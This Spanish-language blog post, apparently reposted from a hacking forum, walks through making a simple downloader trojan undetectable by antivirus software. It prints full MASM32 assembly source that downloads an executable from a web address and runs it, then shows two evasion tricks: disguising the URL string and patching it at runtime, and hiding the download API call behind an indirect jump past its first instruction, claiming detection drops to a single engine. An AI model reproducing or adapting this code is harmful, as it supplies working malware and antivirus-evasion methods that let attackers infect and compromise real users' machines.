Los antivirus y sus "poderosas" heurística

Posted by selmineos | Posted in | Posted on 20:45

En este post vamos a ver cuán sencillo es hacer indetectable un troyano. Cogeremos el más simple posible, Troyan.Downloader, un pequeño programa que se baja un exe de una página web y lo ejecuta con CreateProcess.

Éste es el código fuente original, que compila bajo masm32:

Read more: http://foro.elhacker.net/analisis_y_diseno_de_malware/los_antivirus_y_sus_poderosas_heuristicas-t297351.0.html;msg1474136#new#ixzz0riOZ1clw

.386
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive

include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\urlmon.inc
include \MASM32\INCLUDE\shell32.inc

includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\urlmon.lib
includelib \MASM32\LIB\shell32.lib

; #########################################
.data
web db "http://mitroyano.com/test.exe",0
open db "open",0
dir db "test.exe",0 (0) ; buffer for command line
pinfo dd 4 dup (0) ;process handles
startupinfo db 48h dup (0) ;startup info for the process were opening

.code

start:
push NULL
push 0
push offset dir
push offset web
push NULL
CALL URLDownloadToFile

push offset pinfo
push offset startupinfo
push NULL
push NULL
push NULL
push TRUE
push NULL
push NULL
push NULL
push offset dir ; Pointer to name of executable mod
call CreateProcessA

push 0
call ExitProcess

end start

; ####################




He marcado en negrita las tres cosas que son importantes en cuánto a comportamiento vírico se refiere:

(1) un string de una web de dónde se descarga el exe: http://...
(2) la llamada a URLDownloadToFile
(3) la llamada a CreateProcess.

Éste es el análisis del virus antes de modificarlo.



Por cierto, ya es bastante grave que antivirus como F-PROT, AVG, bitdefender no cataloguen correctamente nuestro troyano. Pero sigamos.



Ahora haremos un pequeño cambio. Subsituiremos http por wttp y restauraremos el string al principio del programa:

web DB "wttp://mitroyano.com/troyano.exe", 0
[...]
Lea Eax, [web]
Mov Byte Ptr [Eax], 'h'

Con esto, nos quitamos de encima uno de los antivirus (avira). Aquí tenéis el análisis.

Código:

http://scanner.novirusthanks.org/analysis/e97f5f997c712b39eb038b03db949d7c/UHJveWVjdG8xLmV4ZQ==/


Nuestro siguiente paso va a ser quitar esa llamada tan fea que tenemos a
URLDownloadToFile, que canta muchísimo. ¿Cómo? Pues simplemente vemos con un debugger la primera instrucción que ejecuta la función, que en este caso es mov edi, edi, la copiamos en nuestro programa y luego llamamos a la API con un call eax:


sh NULL
Push 0
push offset dir
push offset web
Push NULL
;Call URLDownloadToFile
Mov Edi, Edi
Mov Eax, URLDownloadToFile
Inc Eax
Inc Eax
Call Eax


Notar que hemos puesto dos inc eax porque la longitud de la instrucción mov edi, edi es dos.

Después de tan complicado cambio, el resultado es que tan sólo Dr.Web lo detecta. ¿Análisis heurístico? ¿Sandboxes? Mejor no digo nada ...

Comments (1)

  1. Muy bueno como construir un framework para HTML en masm32

Publicar un comentario

Archivo del blog